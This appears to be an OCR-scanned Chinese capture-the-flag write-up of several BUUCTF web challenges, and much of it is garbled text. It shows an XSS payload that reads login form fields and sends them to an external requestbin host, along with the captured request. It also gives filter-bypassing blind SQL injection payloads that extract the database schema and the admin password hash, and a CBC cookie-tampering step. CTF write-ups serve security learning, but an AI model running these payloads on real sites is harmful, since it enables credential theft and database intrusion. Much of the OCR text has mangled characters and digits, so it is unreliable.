RIACATE BT fit 2 CookieHH #HUH 1 4 A5y,  HfIk4susernameflipassword, T3 ATTTT LA B IX AN N iljs e it i R

payload:

<inpcookieut type="text" name="username"></inpcookieut>

<inpcookieut type="text" name="password"></inpcookieut>

<scricookiept scookierc="./js/login.js"></scricookiept>

<scricookiept>

var uname = documcookieent.getElemcookieentsByName("username")[0].value;
var passwd = documcookieent.getElemcookieentsByName("password")[@].value;

var res = uname + + passwd;

documcookieent.locacookietion="http://http.requestbin.buuoj.cn/1015f00l1?a="+res;
</scricookiept>

FeATA FbuuctfH it [ requestbinib 472U, 197 LA vpstz i .

R Ja S E E O R E ], R flag:

http://http_requestbin.buuaj.cn

GET /10I5f001?a=admin flag{38832ccf-4510-49a6-a170-2b9d33317087} & 0 bytes
FORM/POST PARAMETERS HEADERS
None Accept-Language: en.”

Accept-Encoding: gzip, deflate
Connection: Keep-Alive

QUERYSTRING

a: admin flag{36832ccf-4510-49a6-a170-2b9d 33317087} Accept: text/html application/xhtmi+xml,application/xml.g=0.9,**.g=0.8

Host: hitp.requestbin.buuoj.cn
Referer: http://app/content. php?id=1

RAW ROANY

blog

User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTM



BNV G, EREAFExRtE, WA ELThag, BATESultf page=index Z4, TRZWl—TXMAUE, HERSR

A sgadmin:

Only admin can read others!

TRBNRE XA EALTIRE, BIRAT L Etephp i, (HRIFRA S Mk, MH EA%)5 2B & 3 F4, MRCTF 2015 upload—
FARZRAL, TR FA T2 I SR 44 32647 —UEN .

BRI — N ILUE TR AT, BEAE B A A SRR R IR SO 4

Referer: http://cd884682-5335-4977-b9b1-3e4733e420c9.node3.buuoj.cnfindex.php?page=upload
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: _ga=GA1.2.1803328531.1582948098; gid=GA1.2.280880108.1583226198;
PHPSESSID=5565iqqgajl84s26rpfn35fhim5

Connection: close

—————— WebKitFormBoundaryJAcBSBpAXTUGBT3I
Content-Disposition: form-data; name="pic"; filename="select fromwhereorand"
Content-Type: application/octet-stream

MICAEA4TT LA BIBR 1 orLAANA B B 9  1

filename date

or 2020-03-03

BRItz Ahad g8 7 — e HoAh OCHER], Ad SR E T LS Skgaid vy, T HERE 550 .
TFRBEA i — Npayloadll ~, JEFEA LS % FHRCTFIE @) Writeup.

"+(selselectect(conv(hex(substr(database(),1,5)),16,10)))+"

filename date
422944466275 2020-
03-03

W UAE BISCARAaR E] T — #1038, 163 H] A AT bytect .

»>>> from libnum import n2s
>>> n2s(422944466275)

"bytec’

SRE B substrii UM AL B, RBIEIRZESR: bytectf .

(P LA — B — B e RN W R — IR R 2 (il o AR E0EROR, R R/ 7. D
H Bk ik, AR LA — B N B 5

4 payload:


https://lethe.site/2019/05/21/%25E6%2594%25BB%25E9%2598%25B2%25E4%25B8%2596%25E7%2595%258CWeb/#upload%25EF%25BC%2588rctf-2015%25EF%25BC%2589

"+(selselectect(conv(hex(substr((selselectect(grogroupup_conconcatcat(table_name))frfromom(information_schema.ta
bles)whewherere(table_schema='bytectf')),1,5)),16,10)))+'

IR AE S A B A 21

1970496882

422944466271

439855375660

422944466271

[>>> n2s(422944466271)
'byte '
>>> n2s(439855375668)
‘file, '

>>> n2s5(422944466271)
'byte '

>>> n2s(1970496882)
"user'

FEAAENKELL, HAid. username. password. ip. admin{ifl.

55 BATTAT LA Un R payload £ 3145 BE 5 251 .

"+(selselectect(conv(hex(substr((selselectect(grogroupup_conconcatcat(password))frfromom(byte_user)whewherere(us
ername="'admin')),1,5)),16,10)))+"

AW PR 05 2lmd5:  3814d79033F6fc9c1d3cfO02a1f92100
TELR Pl Al A4 2 I S50 kotoriol2



F L& scadminik 7 :

Welcome admin <€

upload logout

filename date

TNV IR — T XFEE, KSR You can try to read picture file.

SR EAE S RIS R i11egal ip , {HJECookie L% T cipher. plain. encrypt=/ 7 E%:

Cogkie: _ga=GA1.2.1803328531.1582948098; gid=GA1.2.280880108.1583226198;
PHPSESSID=5565iqgajl84s26rpfn35fhim5;

cipher=ZGRkZGhtZGRkZGhtT3J6MAQM OJb%2F%2FiirvKap%2BmfDh7hTUOCjShL6T4pmnpOotVOl;
plain=eyJpc19hZG1pbil6dH)1ZSwiaXAiOmZhbHNIFQ%3D%3D; encrypt=cbc

Connéction: close L}

cipher=ZGRkZGhtZGRkZGhtT3J6MAQMOIb//iirvKap+mfDh7hTUOCjShL6T4pmnpOotVOJ
plain=eyJpc19hZGlpbiI6dHI1ZSwiaXAiOmZhbHN1fQ==
encrypt=cbc

plainE #zbase64 i % 13 5

{"is_admin":true,"ip":false}

FdiGebelitan, HIWFH CBCT 15 filf Btk ip A % HMtrue
RIG. .

RIEMRE T, —HEARI. KT . o« FZJREM2E— f R
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